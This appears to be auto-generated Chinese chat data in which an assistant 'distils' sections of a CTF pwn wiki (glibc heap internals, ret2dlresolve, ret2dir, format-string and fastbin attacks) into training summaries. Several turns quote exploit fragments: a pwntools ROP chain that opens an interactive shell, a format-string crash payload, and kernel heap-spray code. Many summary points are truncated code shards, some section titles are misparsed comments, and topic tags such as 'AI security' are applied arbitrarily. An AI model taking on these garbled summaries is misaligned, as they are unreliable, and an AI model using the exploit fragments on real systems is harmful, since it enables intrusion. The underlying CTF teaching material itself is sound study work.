[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「_int_malloc」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：申请内存块 > _int_malloc
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“_int_malloc”展开。
- / remainder from a split / unsigned long remainder_size;
- / Convert request size to internal form by adding SIZE_SZ bytes overhead plus possibly more to obtain necessary alignment and/or to obtain a size of at least MINSIZE, the smallest allocatable size.
- 4. 当 top chunk 也无法满足时，堆分配器才会进行内存块申请。
- / its bin index / mchunkptr remainder;
- 2. 它由小到大依次检查不同的 bin 中是否有相应的空闲块可以满足用户请求的内存。

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap
- code:c++

代码/命令片段线索：
- c++: 24 行，首行 `static void *_int_malloc(mstate av, size_t bytes) {`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

_int_malloc

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「small bin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：申请内存块 > _int_malloc > small bin
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“small bin”展开。
- Since these "smallbins" hold one size each, no searching within bins is necessary. (For a large request, we need to wait until unsorted chunks are processed to find best fit.
- = &main_arena) set_non_main_arena(victim);
- // 如果不是 main_arena，设置对应的标志 if (av !
- 如果获取的内存块的范围处于 small bin 的范围，那么执行如下流程 ``c++ / If a small request, check regular bin.
- But for small ones, fits are exact anyway, so we can check now, which is faster.) / if (in_smallbin_range(nb)) { // 获取 small bin 的索引 idx = smallbin_index(nb);

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap
- code:c++

代码/命令片段线索：
- c++: 46 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

small bin

堆 AI安全 pwn linux user-mode heap code:c++

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「small request」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：申请内存块 > _int_malloc > 大循环-遍历 unsorted bin > unsorted bin 遍历 > small request
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“small request”展开。
- 如果用户的请求为 small bin chunk，那么我们首先考虑 last remainder，如果 last remainder 是 unsorted bin 中的唯一一块的话， 并且 last remainder 的大小分割后还可以作为一个 chunk ，为什么没有等号？
- ``c / If a small request, try to use last remainder if it is the only chunk in unsorted bin.
- // 获取新的 remainder 的位置 remainder = chunk_at_offset(victim, nb);
- // 更新 unsorted bin 的情况 unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
- // 更新last remainder的指针 remainder->bk = remainder->fd = unsorted_chunks(av);

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 40 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

small request

申请内存块
_int_malloc
大循环-遍历 unsorted bin
unsorted bin 遍历
small request

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2dir.md` 中的章节「漏洞利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2dir.md`
标题：ret2dir
章节：ret2dir > 例题：MINI-LCTF2022 - kgadget > 漏洞利用
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“漏洞利用”展开。
- 因为我们没法直接在内核空间直接找到一个这样的目标（内核空间中虽然存在能够这样进行调用的函数指针，例如 tty 设备默认的函数表ptm_unix98_ops 一类的，但是这些函数表对应的函数指针对我们来说没有用），所以我们需要手动去在内核空间布置我们的函数指针与 rop chain，之后我们传入我们布置的 gadget 的地址就能进行利用了。
- 可能有的人就会想到 msg_msg 、sk_buff 等一系列常用来进行堆喷的结构体，但其实我们并不需要显式地在内核空间布置数据，而是可以通过一个位于内核空间中的地址直接访问到用户空间中的数据——那就是映射了整个物理内存的 direct mapping area。
- 答案是不需要搜索，这里我们使用原论文中的一种名为 physmap spray 的攻击手法——使用 mmap 喷射大量的物理内存写入同样的 payload，之后再随机挑选一个相对靠近高地址的 direct mapping area 上的地址进行利用，这样我们就有很大的概率命中到我们布置的 payload 上。
- 最后就是 gadget 的挑选与 rop chain 的构造了，我们不难想到的是可以通过形如 add rsp, val ;
- ` 但其实仅有两个寄存器也够用了，我们可以利用 pop_rsp ;

关键术语：
- 堆
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 5 行，首行 `qmemcpy(`
- plain: 15 行，首行 `------------------------`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

漏洞利用

堆 栈 ROP/JOP AI安全 漏洞利用 pwn linux kernel-mode exploitation code:c

ret2dir


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/defense/readme.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/defense/readme.md`
标题：Introduction
章节：Introduction > 参考
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“参考”展开。
- - https://linuxplumbersconf.org/event/7/contributions/775/attachments/610/1096/Following_the_Linux_Kernel_Defence_Map.pdf - https://github.com/a13xp0p0v/linux-kernel-defence-map - https://outflux.net/slides/2018/lca/kspp.pdf - https://www.kernel.org/doc/htm...
- - https://powerofcommunity.net/poc2019/x82.pdf - https://samsung.github.io/kspp-study/infoleak.html

关键术语：
- pwn
- linux
- kernel-mode
- defense

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

参考

Introduction


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`
标题：tcache makes heap exploitation easy again
章节：define TCACHE_FILL_COUNT 7 > 0x05 The pwn of CTF > Challenge 1 : LCTF2018 PWN easy_heap > 基本信息
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本信息”展开。
- 远程环境中的 libc 是 libc-2.27.so ，所以堆块申请释放过程中需要考虑 Tcache 。
- ``shell zj@zj-virtual-machine:~/c_study/lctf2018/easy$ checksec ./easy_heap [*] '/home/zj/c_study/lctf2018/easy/easy_heap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``

关键术语：
- 堆
- 栈
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:shell

代码/命令片段线索：
- shell: 7 行，首行 `zj@zj-virtual-machine:~/c_study/lctf2018/easy$ checksec ./easy_heap`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本信息

define TCACHE_FILL_COUNT 7
0x05 The pwn of CTF
Challenge 1 : LCTF2018 PWN easy_heap
基本信息

堆 栈 漏洞利用 pwn linux user-mode heap code:shell

tcache makes heap exploitation easy again


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「make fake write relocation at base_stage+24」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：make fake write relocation at base_stage+24
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“make fake write relocation at base_stage+24”展开。
- index_offset = base_stage + 24 - rel_plt write_got = elf.got['write'] r_info = (index_dynsym << 8) | 0x7 # calculate the r_info according to the index of write fake_write_reloc = flat([write_got, r_info]) gnu_version_addr = elf.get_section_by_name('.gnu.ver...

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

make fake write relocation at base_stage+24

边界/溢出 栈 ROP/JOP pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md` 中的章节「tcache_perthread_struct」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md`
标题：tcache
章节：tcache > 相关结构体 > tcache_perthread_struct
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- source code ```C / There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").
- Keeping overall size low is mildly important.
- Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. / typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS];
- tcache_entry *entries[TCACHE_MAX_BINS];
- } tcache_perthread_struct;

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

tcache_perthread_struct

tcache


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「程序崩溃」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`
标题：利用
章节：利用 > 程序崩溃
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 通常来说，利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式，因为我们只需要输入若干个%s即可 ``text %s%s%s%s%s%s%s%s%s%s%s%s%s%s `` 这是因为栈上不可能每个值都对应了合法的地址，所以总是会有某个地址可以使得程序崩溃。
- 比如说，如果远程服务有一个格式化字符串漏洞，那么我们就可以攻击其可用性，使服务崩溃，进而使得用户不能够访问。
- 这一利用，虽然攻击者本身似乎并不能控制程序，但是这样却可以造成程序不可用。

关键术语：
- 栈
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr
- code:text

代码/命令片段线索：
- text: 1 行，首行 `%s%s%s%s%s%s%s%s%s%s%s%s%s%s`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

程序崩溃

栈 漏洞利用 pwn linux user-mode fmtstr code:text

利用


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct rop chain」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：construct rop chain
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“construct rop chain”展开。
- rop.raw(plt0) rop.raw(index_offset) rop.raw('bbbb') # fake ret addr of write rop.raw(1) rop.raw(base_stage + 80) rop.raw(len(sh)) rop.raw(fake_write_reloc) # fake write reloc rop.raw('a' align) # padding rop.raw(fake_write_sym) # fake write symbol rop.raw('...
- r.sendline(rop.chain()) r.interactive() ```
- ``shell ❯ python stage4.py [] '/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Sta...

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 1 行，首行 `最终如下`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

construct rop chain

边界/溢出 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「-- coding: utf-8 --」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`
标题：Unsorted Bin Attack
章节：-- coding: utf-8 --
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“-- coding: utf-8 --”展开。
- def create_heap(size, content): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content)
- def edit_heap(idx, size, content): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(idx)) r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content)
- def del_heap(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx))
- create_heap(0x20, "dada") # 0 create_heap(0x80, "dada") # 1

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

-- coding: utf-8 --

Unsorted Bin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/hardware/cpu/side-channel/prefetch.md` 中的章节「Address-Translation Attack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/hardware/cpu/side-channel/prefetch.md`
标题：prefetch side-channel attack
章节：prefetch side-channel attack > Address-Translation Attack
路径分类：pwn / pwn/hardware/cpu
分块：1/1

核心知识点：
- 本节主题围绕“Address-Translation Attack”展开。
- 现代操作系统内核中通常都有着对物理内存空间的完整线性映射，因此攻击者可以使用 Address-translation oracle 爆破用户地址空间中地址 $p$ 对应的内核地址空间中该区域对应的地址 $\overline{p}$ ，并利用 property 1 向前爆破以获取到内核地址空间中对物理地址空间的线性映射的虚拟地址空间的基址（以 Linux 为例，该区域起始地址为 page_offset_base）。
- 由于在物理地址线性映射区起始地址前的虚拟地址并不存在到对应物理页面的映射，prefetch 指令的执行时间差异是可以被观察到的。

关键术语：
- ROP/JOP
- 漏洞利用
- pwn
- hardware
- cpu
- side-channel

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Address-Translation Attack

prefetch side-channel attack
Address-Translation Attack

ROP/JOP 漏洞利用 pwn hardware cpu side-channel

prefetch side-channel attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`
标题：Unsorted Bin Attack
章节：Unsorted Bin Attack > HITCON Training lab14 magic heap > 基本信息
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本信息”展开。
- ``shell ➜ hitcontraining_lab14 git:(master) file magicheap magicheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9f84548d48f7baa37b9217796c2ced6e6281b...
- 可以看出，该程序是一个动态链接的64程序，主要开启了 NX 保护与 Canary 保护。

关键术语：
- 堆
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:shell

代码/命令片段线索：
- shell: 9 行，首行 `➜ hitcontraining_lab14 git:(master) file magicheap`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本信息

Unsorted Bin Attack
HITCON Training lab14 magic heap
基本信息

堆 栈 AI安全 漏洞利用 pwn linux user-mode heap code:shell

Unsorted Bin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md` 中的章节「fastbin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md`
标题：通过堆进行信息泄漏
章节：通过堆进行信息泄漏 > fastbin
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 我们构造了两个fastbin然后查看它们的内存，现在在fastbin链表中存在两个块，第一个块的地址是0x602040，第二个块的地址是0x602000 `` 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x0000000000000000 0x0000000000000000 ` ` 0x602040: 0x0000000000000000 0x0000000000000021 0x602050: 0x0000000000602000...

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 2 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021`
- plain: 2 行，首行 `0x602040: 0x0000000000000000 0x0000000000000021`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

fastbin

通过堆进行信息泄漏 fastbin

通过堆进行信息泄漏


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/defense/access-control/information-disclosure.md` 中的章节「dmesg_restrict」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/defense/access-control/information-disclosure.md`
标题：信息泄漏
章节：信息泄漏 > dmesg_restrict
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- When dmesg_restrict is set set to (1), users must have CAP_SYSLOG to use dmesg(8).
- 考虑到内核日志中可能会有一些地址信息或者敏感信息，研究者提出需要对内核日志的访问进行限制。
- 当该选项为 1 时，只有具有 CAP_SYSLOG 权限的用户才可以通过 dmesg 命令来查看内核日志。
- 该选项用于控制是否可以使用 dmesg 来查看内核日志。
- `` dmesg_restrict: This toggle indicates whether unprivileged users are prevented from using dmesg(8) to view messages from the kernel's log buffer.
- When dmesg_restrict is set to (0) there are no restrictions.

关键术语：
- pwn
- linux
- kernel-mode
- defense

代码/命令片段线索：
- plain: 8 行，首行 `dmesg_restrict:`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

dmesg_restrict

信息泄漏


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md` 中的章节「例题：D^3CTF 2025 - d3kshrm」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md`
标题：利用内存溢出触发 OOM Killer 提供 root shell
章节：tty4::askfirst:/bin/sh > 例题：D^3CTF 2025 - d3kshrm
路径分类：pwn / pwn/linux/kernel-mode
分块：2/2

核心知识点：
- 本节主题围绕“例题：D^3CTF 2025 - d3kshrm”展开。
- if (ret < 0) { perror(ERROR_MSG("[x] Failed at allocating packet socket"));
- if (ret < 0) { perror(ERROR_MSG("[x] Failed to alloc packet socket pages"));
- if (ret < 0) { perror(ERROR_MSG("[x] Failed to free packet socket pages"));
- } void unintended_exploit(void) { int errno;
- if ((errno = create_pgv_socket(i)) < 0) { printf(ERROR_MSG("[x] Failed to allocate socket: ") "%d\n", i);

关键术语：
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例题：D^3CTF 2025 - d3kshrm

AI安全 漏洞利用 pwn linux kernel-mode exploitation

利用内存溢出触发 OOM Killer 提供 root shell


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「stage 3」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：fake write args, write(1, base_stage+80, sh) > stage 3
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“stage 3”展开。
- 这里我们手动看一下 ``shell ❯ readelf -r main_partial_relro_32 Relocation section '.rel.dyn' at offset 0x30c contains 3 entries: Offset Info Type Sym.Value Sym.
- 具体代码如下 ``python from pwn import * elf = ELF('./main_partial_relro_32') r = process('./main_partial_relro_32') rop = ROP('./main_partial_relro_32') offset = 112 bss_addr = elf.bss() r.recvuntil('Welcome to XDCTF2015~!
- Name 08049ff4 00000306 R_386_GLOB_DAT 00000000 __gmon_start__ 08049ff8 00000706 R_386_GLOB_DAT 00000000 stdin@GLIBC_2.0 08049ffc 00000806 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0 Relocation section '.rel.plt' at offset 0x324 contains 5 entries: Offset Info...
- 这一次，我们同样控制 _dl_runtime_resolve 函数中的 reloc_offset 参数，不过这次控制其指向我们伪造的 write 重定位项。
- 鉴于 pwntools 本身并不支持对重定位表项的信息的获取。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow
- code:shell

代码/命令片段线索：
- shell: 13 行，首行 `❯ readelf -r main_partial_relro_32`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

stage 3

fake write args, write(1, base_stage+80, sh)

边界/溢出 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow code:shell

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「状态切换」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`
标题：基础知识
章节：基础知识 > 状态切换
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“状态切换”展开。
- 当用户进程想要请求更高权限的服务时，便需要通过由系统提供的应用接口，使用系统调用以陷入内核态，再由操作系统完成请求。
- CPU 在不同的特权级间进行切换主要有两个途径： - 中断与异常（interrupt & exception）：当 CPU 收到一个中断/异常时，会切换到 ring0，并根据中断描述符表索引对应的中断处理代码以执行。
- 特权级相关指令：当 CPU 运行这些指令时会发生运行状态的改变，例如 iret 指令（ring0->ring3）或是 sysenter 指令（ring3->ring0）。
- 基于这些特权级切换的方式，现代操作系统的开发者包装出了系统调用（syscall），作为由“用户态”切换到“内核态”的入口，从而执行内核代码来完成用户进程所需的一些功能。

关键术语：
- pwn
- linux
- kernel-mode
- basic-knowledge.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

状态切换

pwn linux kernel-mode basic-knowledge.md

基础知识


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「演示」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`
标题：Fastbin Attack
章节：Fastbin Attack > Fastbin Double Free > 演示
路径分类：pwn / pwn/linux/user-mode
分块：1/2

核心知识点：
- 本节主题围绕“演示”展开。
- 下面的示例程序说明了这一点，当我们试图执行以下代码时 `` int main(void) { void chunk1,chunk2,chunk3;
- 下面这个示例演示了这一点，首先跟前面一样构造 main_arena=>chunk1=>chun2=>chunk1的链表。
- 之后第一次调用 malloc 返回 chunk1 之后修改 chunk1 的 fd 指针指向 bss 段上的 bss_chunk，之后我们可以看到 fastbin 会把堆块分配到这里。
- ` int main(void) { void chunk1,chunk2,chunk3;
- int main(void) { void chunk1,chunk2,chunk3;

关键术语：
- 堆
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 9 行，首行 `int main(void)`
- plain: 34 行，首行 `*** Error in `./tst': double free or corruption (fasttop): 0x0000000002200010 ***`
- plain: 10 行，首行 `int main(void)`
- plain: 26 行，首行 `typedef struct _chunk`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
